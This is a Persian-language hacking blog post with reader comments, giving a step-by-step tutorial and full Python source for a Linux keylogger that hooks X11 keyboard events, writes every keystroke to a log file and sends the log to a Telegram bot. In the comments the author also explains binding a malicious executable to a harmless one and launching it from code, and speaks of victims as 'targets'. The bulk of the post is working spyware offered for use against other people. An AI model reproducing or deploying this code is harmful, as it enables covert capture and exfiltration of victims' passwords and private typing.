آموزش ساخت کی لاگر با پایتون :: V i R u s Ʒ²

V i R u s Ʒ²

هک و امنیت

V i R u s Ʒ²

هک و امنیت

Virus 32

💢 دوستانم بی دفاع و دشمنانم بی جواب نخواهند ماند 💢

-->
آخرین نظرات
  • ۲۲ مرداد ۰۲، ۰۰:۳۴ - Sami
    مرسی
  • ۱۴ مرداد ۰۲، ۱۴:۴۶ - farhad
    salam

قبلا در مورد ساخت کی لاگر ویندوز و وب پست منتشر کرده بودیم ، اما تو این پست میخوایم بپردازیم به آموزش ساخت کی لاگر لینوکسی با استفاده از پایتون که بصورت پیشفرض توی لینوکس نصب شده و نیازی نیست که مجدد نصبش کنیم و در آخر هم لاگ های ذخیره شده رو میفرستیم به ربات تلگرام ، خب بریم سر اصل مطلب

اول از همه باید کتابخونه های مورد نیاز رو نصب کنیم که برای اینکار لینوکس خودتون رو استارت کنین و به ترتیب دستورات پایین رو توی ترمینال لینوکسی وارد کنین تا از نظر کتابخونه بی نیاز بشیم

pip install Xlib

بعد از اینکه این دستور رو زدیم ، منتظر میمونیم تا کتابخونه دانلود و نصب بشه و بعد از اینکه تموم شد دستور پایین رو میزنیم تا کتابخونه ی دوم مورد نظرمون نصب بشه

pip install python-telegram-bot

خب این از کتابخونه های مورد نیازمون ، بعدش وارد این پست میشیم و یاد میگیریم که چطور باید یه ربات رو بسازیم و به یوزر آی دی و... خودمون دست پیدا کنیم و بعدش بر میگردیم به ادامه ی همین پست

خب حالا یه پوشه روی دسکتاپ ایجاد میکنیم و سه تا فایل با اسم های زیر داخلش میسازیم 

1- یه فایل با نام hook.py

2- یه فایل دیگه به نام keylogger.py

3- در آخر هم یه فایل با اسم file.log

خب بعد از اینکه ساختیم ، به ترتیب فایل هارو ویروایش میکنیم که برای اینکار توی لینوکس میتونیم راست کلیک کنیم رو فایل و گزینه ی ویرایش با ویرایشگر متنی رو بزنیم

اول فایل hook.py رو ویرایش میکنیم و بعد از اینکه کدارو کپی کردیم داخلش ، سیو میکنیم و میریم برای فایل بعدی

from __future__ import print_function

import sys
import re
import time
import threading

from Xlib import X, XK, display
from Xlib.ext import record
from Xlib.protocol import rq


class HookManager(threading.Thread):
    """ 
    This is the main class. Instantiate it, and you can hand it KeyDown
    and KeyUp (functions in your own code) which execute to parse the
    PyxHookKeyEvent class that is returned.

    This simply takes these two values for now:
    KeyDown : The function to execute when a key is pressed, if it
              returns anything. It hands the function an argument that
              is the PyxHookKeyEvent class.
    KeyUp   : The function to execute when a key is released, if it
              returns anything. It hands the function an argument that is
              the PyxHookKeyEvent class.
    """

    def __init__(self):
        threading.Thread.__init__(self)
        self.finished = threading.Event()
        self.mouse_position_x = 0
        self.mouse_position_y = 0
        self.ison = {"shift": False, "caps": False}
        self.isshift = re.compile('^Shift')
        self.iscaps = re.compile('^Caps_Lock')
        self.shiftablechar = re.compile('|'.join((
            '^[a-z0-9]$',
            '^minus$',
            '^equal$',
            '^bracketleft$',
            '^bracketright$',
            '^semicolon$',
            '^backslash$',
            '^apostrophe$',
            '^comma$',
            '^period$',
            '^slash$',
            '^grave$'
        )))
        self.logrelease = re.compile('.*')
        self.isspace = re.compile('^space$')
        self.KeyDown = lambda x: True
        self.KeyUp = lambda x: True
        self.MouseAllButtonsDown = lambda x: True
        self.MouseAllButtonsUp = lambda x: True
        self.MouseMovement = lambda x: True

        self.contextEventMask = [X.KeyPress, X.MotionNotify]
        self.local_dpy = display.Display()
        self.record_dpy = display.Display()

    def run(self):

        if not self.record_dpy.has_extension("RECORD"):
            print("RECORD extension not found", file=sys.stderr)
            sys.exit(1)
        self.ctx = self.record_dpy.record_create_context(
            0,
            [record.AllClients],
            [{
                'core_requests': (0, 0),
                'core_replies': (0, 0),
                'ext_requests': (0, 0, 0, 0),
                'ext_replies': (0, 0, 0, 0),
                'delivered_events': (0, 0),
                'device_events': tuple(self.contextEventMask),
                'errors': (0, 0),
                'client_started': False,
                'client_died': False,
            }])

        self.record_dpy.record_enable_context(self.ctx, self.processevents)
        self.record_dpy.record_free_context(self.ctx)

    def cancel(self):
        self.finished.set()
        self.local_dpy.record_disable_context(self.ctx)
        self.local_dpy.flush()

    def printevent(self, event):
        print(event)

    def HookKeyboard(self):
pass def HookMouse(self): """ We don't need to do anything here anymore, since the default mask is now set to contain X.MotionNotify """ pass def processevents(self, reply): if reply.category != record.FromServer: return if reply.client_swapped: print("* received swapped protocol data, cowardly ignored") return try: intval = ord(reply.data[0]) except TypeError: intval = reply.data[0] if (not reply.data) or (intval < 2): return data = reply.data while len(data): event, data = rq.EventField(None).parse_binary_value( data, self.record_dpy.display, None, None ) if event.type == X.KeyPress: hookevent = self.keypressevent(event) self.KeyDown(hookevent) elif event.type == X.KeyRelease: hookevent = self.keyreleaseevent(event) self.KeyUp(hookevent) elif event.type == X.ButtonPress: hookevent = self.buttonpressevent(event) self.MouseAllButtonsDown(hookevent) elif event.type == X.ButtonRelease: hookevent = self.buttonreleaseevent(event) self.MouseAllButtonsUp(hookevent) elif event.type == X.MotionNotify: hookevent = self.mousemoveevent(event) self.MouseMovement(hookevent) def keypressevent(self, event): matchto = self.lookup_keysym( self.local_dpy.keycode_to_keysym(event.detail, 0) ) if self.shiftablechar.match( self.lookup_keysym( self.local_dpy.keycode_to_keysym(event.detail, 0))): if not self.ison["shift"]: keysym = self.local_dpy.keycode_to_keysym(event.detail, 0) return self.makekeyhookevent(keysym, event) else: keysym = self.local_dpy.keycode_to_keysym(event.detail, 1) return self.makekeyhookevent(keysym, event) else: keysym = self.local_dpy.keycode_to_keysym(event.detail, 0) if self.isshift.match(matchto): self.ison["shift"] = self.ison["shift"] + 1 elif self.iscaps.match(matchto): if not self.ison["caps"]: self.ison["shift"] = self.ison["shift"] + 1 self.ison["caps"] = True if self.ison["caps"]: self.ison["shift"] = self.ison["shift"] - 1 self.ison["caps"] = False return self.makekeyhookevent(keysym, event) def keyreleaseevent(self, event): if self.shiftablechar.match( self.lookup_keysym( self.local_dpy.keycode_to_keysym(event.detail, 0))): if not self.ison["shift"]: keysym = self.local_dpy.keycode_to_keysym(event.detail, 0) else: keysym = self.local_dpy.keycode_to_keysym(event.detail, 1) else: keysym = self.local_dpy.keycode_to_keysym(event.detail, 0) matchto = self.lookup_keysym(keysym) if self.isshift.match(matchto): self.ison["shift"] = self.ison["shift"] - 1 return self.makekeyhookevent(keysym, event) def buttonpressevent(self, event): return self.makemousehookevent(event) def buttonreleaseevent(self, event): return self.makemousehookevent(event) def mousemoveevent(self, event): self.mouse_position_x = event.root_x self.mouse_position_y = event.root_y return self.makemousehookevent(event) def lookup_keysym(self, keysym): for name in dir(XK): if name.startswith("XK_") and getattr(XK, name) == keysym: return name.lstrip("XK_") return "[{}]".format(keysym) def asciivalue(self, keysym): asciinum = XK.string_to_keysym(self.lookup_keysym(keysym)) return asciinum % 256 def makekeyhookevent(self, keysym, event): storewm = self.xwindowinfo() if event.type == X.KeyPress: MessageName = "key down" elif event.type == X.KeyRelease: MessageName = "key up" return PyxHookKeyEvent( storewm["handle"], storewm["name"], storewm["class"], self.lookup_keysym(keysym), self.asciivalue(keysym), False, event.detail, MessageName ) def makemousehookevent(self, event): storewm = self.xwindowinfo() if event.detail == 1: MessageName = "mouse left " elif event.detail == 3: MessageName = "mouse right " elif event.detail == 2: MessageName = "mouse middle " elif event.detail == 5: MessageName = "mouse wheel down " elif event.detail == 4: MessageName = "mouse wheel up " else: MessageName = "mouse {} ".format(event.detail) if event.type == X.ButtonPress: MessageName = "{} down".format(MessageName) elif event.type == X.ButtonRelease: MessageName = "{} up".format(MessageName) else: MessageName = "mouse moved" return PyxHookMouseEvent( storewm["handle"], storewm["name"], storewm["class"], (self.mouse_position_x, self.mouse_position_y), MessageName ) def xwindowinfo(self): try: windowvar = self.local_dpy.get_input_focus().focus wmname = windowvar.get_wm_name() wmclass = windowvar.get_wm_class() wmhandle = str(windowvar)[20:30] except: return {"name": None, "class": None, "handle": None} if (wmname is None) and (wmclass is None): try: windowvar = windowvar.query_tree().parent wmname = windowvar.get_wm_name() wmclass = windowvar.get_wm_class() wmhandle = str(windowvar)[20:30] except: return {"name": None, "class": None, "handle": None} if wmclass is None: return {"name": wmname, "class": wmclass, "handle": wmhandle} else: return {"name": wmname, "class": wmclass[0], "handle": wmhandle} class PyxHookKeyEvent: """ This is the class that is returned with each key event.f It simply creates the variables below in the class. Window : The handle of the window. WindowName : The name of the window. WindowProcName : The backend process for the window. Key : The key pressed, shifted to the correct caps value. Ascii : An ascii representation of the key. It returns 0 if the ascii value is not between 31 and 256. KeyID : This is just False for now. Under windows, it is the Virtual Key Code, but that's a windows-only thing. ScanCode : Please don't use this. It differs for pretty much every type of keyboard. X11 abstracts this information anyway. MessageName : "key down", "key up". """ def __init__( self, Window, WindowName, WindowProcName, Key, Ascii, KeyID, ScanCode, MessageName): self.Window = Window self.WindowName = WindowName self.WindowProcName = WindowProcName self.Key = Key self.Ascii = Ascii self.KeyID = KeyID self.ScanCode = ScanCode self.MessageName = MessageName def __str__(self): return '\n'.join(( 'Window Handle: {s.Window}', 'Window Name: {s.WindowName}', 'Window\'s Process Name: {s.WindowProcName}', 'Key Pressed: {s.Key}', 'Ascii Value: {s.Ascii}', 'KeyID: {s.KeyID}', 'ScanCode: {s.ScanCode}', 'MessageName: {s.MessageName}', )).format(s=self) class PyxHookMouseEvent: """ This is the class that is returned with each key event.f It simply creates the variables below in the class. Window : The handle of the window. WindowName : The name of the window. WindowProcName : The backend process for the window. Position : 2-tuple (x,y) coordinates of the mouse click. MessageName : "mouse left|right|middle down", "mouse left|right|middle up". """ def __init__( self, Window, WindowName, WindowProcName, Position, MessageName): self.Window = Window self.WindowName = WindowName self.WindowProcName = WindowProcName self.Position = Position self.MessageName = MessageName def __str__(self): return '\n'.join(( 'Window Handle: {s.Window}', 'Window\'s Process Name: {s.WindowProcName}', 'Position: {s.Position}', 'MessageName: {s.MessageName}', )).format(s=self)

خب حالا فایل keylogger.py رو ویرایش میکنیم و مجددا بعد از اینکه کدای زیر رو کپی کردیم داخلش شروع میکنیم به ویرایش توکن ربات و یوزر آی دی که من رنگشونو با قرمز اینجا نوشتم تا بعد از اینکه شما مشخصات دریافت شده از ربات های تلگرامی رو انجام دادین ، تو کداتون بنویسین

from telegram.ext import Updater
from telegram.ext import CommandHandler
import hook

updater = Updater(token='TOKEN')
dispatcher = updater.dispatcher

log_file='file.log'
def sss(event):
    fob=open(log_file,'a')

    fob.write(event.Key)

    fob.write('\n')

    if event.Ascii==96:
        fob.close()
        new_hook.cancel()
def start(bot, update):

    d = open(log_file,'rb')
    bot.sendDocument(chat_id = NumberID, document = d)
    
ms = CommandHandler('start',start)
dispatcher.add_handler(ms)

new_hook=hook.HookManager()

new_hook.KeyDown=sss

new_hook.HookKeyboard()

new_hook.start()
updater.start_polling()
updater.idle()

خب حالا تو پوشه ای که فایل هارو ساختیم راست کلیک میکنیم و گزینه ی Open in Terminal رو میزنیم و بعدش دستور زیر رو برای اجرا شدن کدمون مینویسیم تا برناممون ران یا همون اجرا بشه

python keylogger.py

حالا هر چی که تایپ کنیم داخل فایل file.log ذخیره میشه و زمانی که به مقدار مشخص شده تو کد ها برسه ، برای رباتی که براش کد نوشتیم ، ارسال میشه

نکته --> کدارو طوری طراحی کردم که وقتی متنی تایپ میشه یا ... حروف بصورت خط به خط بشه مثلا من اگه بنویسم ifconfig ، لاگ ما به این شکل در میاد

i
f
c
o
n
f
i
g

حالا اینارو چیکار کنیم ؟ خیلی راحت کنار هم قرار میدیم تا ببینیم چی بدست میاد که خودتون اینو بهتر از من میدونین 

برای بسته شدن برنامه هم کافیه ترمینال لینوکس رو ببندیم تا ذخیره لاگ ها متوقف بشه 

راستی تو پست های بعدی در مورد ارسال ایمیل با پایتون قراره پست بزارم که میتونین ترکیب کنین و اگه نمیخواین لاگ ها به ربات ارسال بشه ، بصورت فایل بفرستین برای ایمیلتون

موفق باشید

نظر (۱۶)

سلام ویروس من دارم پایتونو کار میکنم بخاطر همین یه سوال داشتم میخوام برنامه ای بنویسم که یع ورودی بگیره و تشخیص بده عدد زوج هست یا نه اگه میشه کمک کن دمت جیز و ویز
Virus32 MR_C0D3R ‌ :
سلام ، خوشحالم که برنامه نویسی شروع کردی ، برای اینکار باید باقی مانده ی تقسیم عدد وارد شده بر 2 رو پیدا کنیم که میتونیم از عملگر % به شکل پایین استفاده کنیم
Input = input("adad ro vared konid:")
if (Input%2 == 0):
    print ("Adad shoma zoj ast")
else:
    print ("Adad shoma fard ast")
تو اینجا ما یه متغیر با نام Input تعریف کردیم که ورودیو از کاربر میگیریم و میریزیم داخلش ، بعدش گفتیم اگر باقیمانده ی تقسیم عدد وارد شده یا همون متغیر Input بر دو 2 برابر شد با 0 اونموقع بنویس عدد زوجه در غیر اینصورت بنویس عدد فرده
سلام دوست عزیز اسم کتابخانه تلگرام بات برای لینوکس اوبونتو چیه؟
Virus32 MR_C0D3R ‌ :
پایتون که خودش نصب هست ، کتابخونه هم همونیه که برای ویندوزه یعنی : python-telegram-bot ، اینو بزن تو ترمینالت ، البته بصورت زیر
pip install python-telegram-bot
البته تلگرام فیلتره بخاطر همین فکر نکنم دیگه بشه از اینجور شلوغ کاریا کرد (تارگتت باید فیلترشکنش روشن باشه)
سلام داداش
داداش میشه لطفا در مورد bind کردن یه کم توضیح بدید ؟؟
Virus32 MR_C0D3R ‌ :
سلام عزیز
در مورد بایند کردن با پایتون یا هر چیزی ؟ چون تو پست پایتون گفتی !!! در واقع ما میتونیم دو تا فایل رو به هم بچسبونیم و داخل یک فایل اونو داشته باشیم (میتونه عکس ، فیلم و هر چیزی باشه)، یا اینکه مثلا دوتا برنامه داریم ، یکیش مخرب و یکی دیگشم مخرب نیست ، اونموقع میتونیم اون برنامه ی مخرب رو از طریق اون برنامه ی سالم فراخوانی کنیم و ... در حالی که این دو تا به هم دیگه متصل شدن و بصورت یدونه فایل در اومدن ، میتونیم از این دستور توی خط فرمان استفاده کنیم
Copy /b image_1.jpg+image_2.jpg images.jpg
اگه اینارو تست کنی خودت متوجه میشی ، دو تا تصویر بزار توی یک مسیر و اسم عکساتو عوض کن یا اسم فایل رو از داخل کد عوض کن بعدا با خط فرمان برو به مسیر بالا(حالا با روش هایی که وجود داره)بعدا دستور بالا رو بزن بعد از اینکه دستور رو بزنی نتیجه ی پایین رو میده که ما اینجا عکس رو تست کردیم و شما میتونی هر چیزی به جاش بزاری
Copy /b image_1.jpg+image_2.jpg images.jpg

image_1.jpg image_2.jpg 1 file(s) copied.

ممنون داداش
ولی فقط یه سوال دیگه
حتما باید فرمتشون یکی باشه یا اگه فرمتشون فرق کنه هم میشه این کارو کرد
مثلا به جای دوتا عکس ، یه عکس و یه فایل با فرمت دیگه ( مثلا exe )
Virus32 MR_C0D3R ‌ :
خواهش
راستیتش فایل Exe رو با Jpg  تست نکرده بودم که الان یه نمه دستکاریش کردم دیدم نشد ، یعنی ارور میده(فایل تصویر رو با فایل اجرایی بایند کردم و تو کدها دستور اجرای فایل تصویر رو دادم) ، اما فایل Exe رو با Bat تست کردم دیدم اوکی بود
اگه احتیاج داشتی میتونی تو همون سی شارپ از قسمت Resources.resx ، فایل تصویرتو بزاری و تو کدات ، دستور اجراشو بدی یا هر چیز دیگه ...
حالا من الان دو تا برنامرو ( فایل exe ) رو با هم قاطی کردم ، از چه طریقی مثلا از فایل اول ، فایل دوم رو فراخوانی کنم ؟؟؟؟؟؟
Virus32 MR_C0D3R ‌ :
اینجور چیزارو بهتره خودت تست کنی ، به فرض مثال من سی شارپ رو میگم :
using System.Diagnostics;

Process.Start("cmd", "/C my_app.exe");
خط اول که کتابخونه ی Diagnostics رو وارد کردیم ، تو خط دوم هم که دستور اجرا شدن برنامه ی دوم رو دادیم که میتونیم فقط اسم برنامه رو بنویسیم
در واقع ما به خط فرمان دستور اجرا شدن برنامه ی دوم رو دادیم که برنامه ی دوم رو برای ما اجرا کرد ، حالا میتونیم به زبان های دیگه هم اینکارو کنیم که هر زبانیو خواستی بگو بهت بگم
داداش سلام بازم منم که مزاحم شدم
یه راهنمایی می خواستم
من یه بسته ی اموزش هک و با کالی گرفتم ، همه مباحثو خوب توضیح میده و . . .
الانم من یه کوچولو دستورات سی شارپ و cmd رو بلدم
می خواستم بپرسم بهتره اول دستورات cmd و ریجستری و برنامه نویسی سی شارپو کامل یاد بگیرم بعد بیام سراغ کالی ، یا همزمان که تو ویندوز کار می کنم کار با کالی رو هم یاد بگیرم ؟؟؟
Virus32 MR_C0D3R ‌ :
سلام
راستش نظر منو بخوای اول از همه ریجستری و دستورات Cmd رو یاد بگیر بعدا برو لینوکس کنار اینام که داری برنامه نویسی کار میکنی ، خوبه !!!
درسته لینوکس برای هک خوبه اما بنظرم اول از همه ویندوز بعدا لینوکس در نتیجه فعلا همین ریجستری و دستورات Cmd رو یاد بگیر و اینکه اگه بخوای جفتشو باهم کار کنی قاطی میشه ، مثلا داری دستور Cmd کار میکنی و در کنارش دستورات لینوکس ، خب اینا یه خرده با هم کنار نمیان
سعی کن توی ریجستری خوب پشتکار بخرج بدی ، خیلی بکار میاد
سلام .میشه لطفا ساخت تروجان یا reverse shell بعنوان سرویس با زبان پایتون رو هم بذارید؟
Virus32 MR_C0D3R ‌ :
نه
سلام میشه بیس فایل کیلاگر رو بدید به ایمیل من خیلی دنبالشم ممنون :(
Virus32 MR_C0D3R ‌ :
سلام
متوجه نشدم ؟!
یعنی اینگه فقط اون بخش کیلاگر رو بدین.
دیگه چیزی رو ارسال نکنه امیدوارم منظورمو خوب رسونده باشم
منظورم اینه اگه بخوایم یه کیلاگر بنویسیم که هر اکشن رو تو یه فایلی ذخیره کنه , مثل پروژه بالا از طریق ربات ارسال نکنه.
Virus32 MR_C0D3R ‌ :
گرفتم میخوای چیکار کنی
برای اینکار کدهایی که باعث میشه اطلاعات به ربات ارسال بشه رو بردار
نیازی نیست چیز زیادی دستکاری کنی
فقط فایل Keylogger.py رو که باعث میشه لاگ بندازه رو ادیت کن
بعدا داخل کدهایی که مربوط به قسمت ارسال اطلاعات به ربات هستش رو بردار
من به لینوکس دسترسی ندارم
وگرنه بر میداشتم و تست میکردم برات قرار میدادم
الان اینجوری اگه بردارم نمیدونم خطا بده یا نه
عزیزم واقعا مرسی!
یه سوال دیگه داشتم اونم اینه که من وقتی به برنامه پورت خارجی رو میدم ارور میده . 
پورت فورواردینگ هم به درستی انجام شده!
Virus32 MR_C0D3R ‌ :
به کدوم برنامه پورت خارجی میدی ؟
این پست ربطی به برنامه نویسی سوکت نداره !
به هر حال میتونه بخاطر ثابت نبودن آی پی هم باشه
خودم یه برنامه ای رو ساختم تحت شبکه .
مشکل ایپی رو با DNS حل کردم اما پورت رو هرچی هم فوروارد میکنم میگه بسته هست
یه خواهشی از جناب عالی داشتم اونم اینه که یه زحمتی بکشیو یه پست تمام عیار در مورد سوکت نویسی توضیح بدی D: 
ما با پست های شما راه افتادیم . مرسی از پاسخ گویی سریع شما .
Virus32 MR_C0D3R ‌ :
داخل شبکه باید پورت رو روی سیستم طرف مقابل باز کنیم
نه اینکه پورت فورواردینگ انجام بدیم !!!
---
دنیا یه باشگاه بزرگه که داشتم توش اشتباه میزدم D:
کمکتون رو فراموش نمیکنم
Virus32 MR_C0D3R ‌ :
:)

سلام من پایتون رو یادگرفتم و میخوام توش حرفه ای شم چطوری میتونم تو پایتون حرفه شم ؟؟؟؟؟؟

Virus32 MR_C0D3R ‌ :
سلام
شروع کن به نوشتن یه پروژه های کاربردی کوچیک
مثلا یه ماشین حساب گرافیکی یا یه نرم افزار دفترچه یادداشت ساده و غیره....

سلام خسته نباشید این اموزشی که اینجا قرار دادین فقط برای لینوکس کار می کنه؟ یعنی کسی میتونه بیاد اینو روی گوشی استفاده کنه منظورم اینه که حتی بتونه باهاش کلید تایپ موبایل هم ببینه

Virus32 ولم کنید (: :
نه عزیز این اصلا اجرا نمیشه تو اندروید
  • Virus32
  • Mahmood Jamshidian
  • سلام لطفا اگر امکان داره طریقه ساخت لینک مخرب در پایتون هم قرار بدهید. تشکر

    ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
    شما میتوانید از این تگهای html استفاده کنید:
    <b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
    تجدید کد امنیتی